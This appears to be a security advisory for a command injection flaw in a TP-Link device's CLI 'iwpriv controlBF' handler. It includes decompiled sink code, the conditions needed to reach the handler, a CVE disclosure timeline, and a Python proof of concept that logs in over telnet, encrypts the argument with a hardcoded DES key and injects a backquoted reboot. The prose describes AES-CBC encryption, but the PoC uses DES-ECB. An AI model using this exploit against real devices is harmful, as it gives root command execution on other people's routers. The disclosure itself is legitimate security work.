The CLI command sys iwpriv controlBF <interface> <value> is served by the function at 0x417350 in /bin/cli. The handler formats its two arguments into a sequence of wlctl shell commands with snprintf and runs each through system, without validating or escaping the arguments. Shell metacharacters in either argument are interpreted by /bin/sh, so the command runs arbitrary OS commands.
Technical Details
Sink
The handler at 0x417350 receives the argument vector (argument 1 is the interface, argument 2 is the value). With two arguments present it builds six commands and runs each with system:
// argv[1] at +8, argv[2] at +16
if ( argc == 3 ) {
snprintf(buf, 0x40, "wlctl -i %s down", argv[1]); system(buf);
snprintf(buf, 0x40, "wlctl -i %s txbf_imp %s", argv[1], argv[2]); system(buf);
snprintf(buf, 0x40, "wlctl -i %s txbf_bfr_cap %s", argv[1], argv[2]); system(buf);
snprintf(buf, 0x40, "wlctl -i %s txbf_bfe_cap %s", argv[1], argv[2]); system(buf);
snprintf(buf, 0x40, "wlctl -i %s txbf %s", argv[1], argv[2]); system(buf);
snprintf(buf, 0x40, "wlctl -i %s up", argv[1]); system(buf);
}
Both argv[1] and argv[2] reach the shell unmodified. A value such as ;reboot; or a backquoted command is executed by /bin/sh. The injection does not depend on the 0x40-byte buffer size.
Reachability
The handler is selected by the CLI’s command dispatcher at 0x403704, which walks a table of 32-byte entries { char *name; int flags; void *handler; ... }, matches each argument token against name, and calls handler with the remaining arguments. The iwpriv sub-table at 0x437930 maps the token controlBF to 0x417350. Reaching the handler requires:
- An authenticated session (the login routine at
0x4058F0); - Device uptime within ten minutes: the privileged command set is dispatched by the gate at
0x40AB74, which reads the device uptime via0x404AB0(anrdp_getObjquery forDEV2_DEV_INFO/UpTime) and proceeds only when the value is at most0x258(600 seconds); - The arguments to
syssupplied in AES-CBC encrypted form (the binary drives this through the routine named by the stringaes_cbc_decrypt_intface_bypart); - Exactly two arguments to
iwpriv controlBF.
Proof of Concept
import base64
from Crypto.Cipher import DES
from Crypto.Util.Padding import pad, unpad
from pwn import *
def des_ecb_encrypt(key, plaintext):
cipher = DES.new(key, DES.MODE_ECB)
plaintext += ((8 - (len(plaintext) % 8)) * b"\x00")
ciphertext = cipher.encrypt(plaintext)
return ciphertext
key = bytes.fromhex("478de3f90ba5d2cf")
def get_arg(k, d):
out = des_ecb_encrypt(k, d)
return f"sys {base64.b64encode(out).decode()}".encode()
def exploit(rhost, pwd):
io = remote(rhost, 23)
io.sendlineafter(b":", pwd)
cmd = f"iwpriv controlBF `reboot` x".encode()
print(cmd)
print(io.recvuntil(b"#").decode())
io.sendline(get_arg(key, cmd))
io.interactive()
admin_pwd = b""
exploit("192.168.1.1", admin_pwd)
Impact
A user with admin privileges who can issue commands on the authenticated CLI can execute arbitrary commands with the privileges of the CLI process, which runs as root.
Disclosure timeline
Submitted report to security@tp-link.com
Reserved CVE-2025-15518
CVEs and advisory published
References
- TP-Link Security Advisory www.tp-link.com/us/support/faq/5027/